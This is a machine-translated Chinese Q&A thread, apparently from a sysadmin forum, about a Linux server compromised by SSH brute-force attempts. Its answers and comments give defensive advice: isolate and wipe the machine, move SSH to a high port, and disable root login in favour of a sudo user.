您的身份驗證日誌中的代碼段顯示嘗試失敗。但是,如果你進一步觀察,毫無疑問你會看到成功的登錄。你使用一個簡單的密碼,然後機器人進入它是微不足道的。

您需要將此計算機與網絡隔離。非常小心地從你需要的東西,然後擦拭它。


8
2018-02-01 23:51



當我以前在端口22上運行ssh時,我通常每天會進行數千次黑客攻擊。當我更改為高端口號(超過50000)時,這些黑客嘗試完全停止。 - user1751825
16個字符不夠安全。用戶註銷也很方便。只是不要讓它成為一個燙髮鎖定,讓它過期,但讓它像一個小時。這樣您仍然可以訪問服務器。 - Ramhound
請注意,只要您具有強身份驗證(公鑰或強密碼),步驟2)對於安全性並不是嚴格必需的。 - user20574
@Ramhound為什麼不呢?即使它只是小寫字母,16個小寫字母也有43608742899428874059776可能性,這對於暴力來說是不切實際的,特別是對於每次嘗試失敗時服務器讓你等待的在線蠻力。 - user20574
@ user20574。雖然不是絕對必要,但降低SSH服務的可見性仍然非常有用。即使沒有其他原因也要除去日誌中的混亂。如果機器只需要有限的人員可訪問,那麼非標準端口是提高安全性的完美合理步驟。 - user1751825


在設置前置Linux / Unix服務器之後,任何人/每個人應該做的第一件事是立即禁用 root

您的系統遭到入侵。您有一個運行歷史記錄日誌,在某種程度上可能很酷。但老實說,解析具體細節有點挑剔,無法幫助您保護服務器。它顯示了當殭屍網絡產生惡意軟件時發生的各種廢話 - 這很可能是感染服務器的 - 感染了Linux系統。該 答案由@MariusMatutiae提供 很好,經過深思熟慮,還有其他人重複你被黑客攻擊 root 訪問這是惡意軟件/殭屍網絡的夢想。

關於如何禁用有一些解釋 root 但我會從個人經驗中說,大多數超出我現在描述的東西都是矯枉過正。這就是你 應該 您第一次設置服務器時已完成:

  1. 使用創建新用戶 sudo 權利: 使用新名稱創建一個新用戶 cooldude - 使用像這樣的命令 sudo adduser cooldude 如果您使用的是Ubuntu或其他類型的Debian系統。然後只需手動編輯 sudo 文件使用這樣的命令 sudo nano /etc/sudoers 並添加一行 cooldude ALL=(ALL:ALL) ALL 在應該閱讀的等效線下面 root ALL=(ALL:ALL) ALL。完成後,登錄為 cooldude 並測試 sudo 用命令命令 sudo w - 一些基本的和非破壞性的 - 看看是否 sudo 權利工作。系統可能會提示您輸入密碼。這樣可行?都好!轉到下一步。
  2. 鎖定 root 帳戶: 好的,現在 cooldude 負責 sudo 權利,登錄為 cooldude 並運行此命令以鎖定root帳戶 sudo passwd -l root。如果你以某種方式為你創建了一個SSH密鑰對 root, 打開 /root/.ssh/authorized_keys 並刪除鍵。或者更好的是,只需重命名該文件即可 authorized_keys_OFF 像這樣, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF 有效地禁用SSH密鑰。我更喜歡後者,因為在現有機會你還需要密碼少登錄,你可以將該文件移回原來的名稱,你應該好好去。

FWIW,多年來我已經管理了數十台Linux服務器(幾十年?),並從經驗中知道只是禁用 root - 並設置新用戶 sudo rights - 是保護任何Linux系統的最簡單,最基本的方法。我從來沒有必須通過SSH處理任何類型的妥協 root 被禁用。是的,您可能會看到嘗試通過該登錄 auth.log 但他們沒有意義;如果 root 被禁用然後這些嘗試永遠不會添加任何東西。只是坐下來觀看嘗試無休止地失敗!


6
2018-02-07 02:34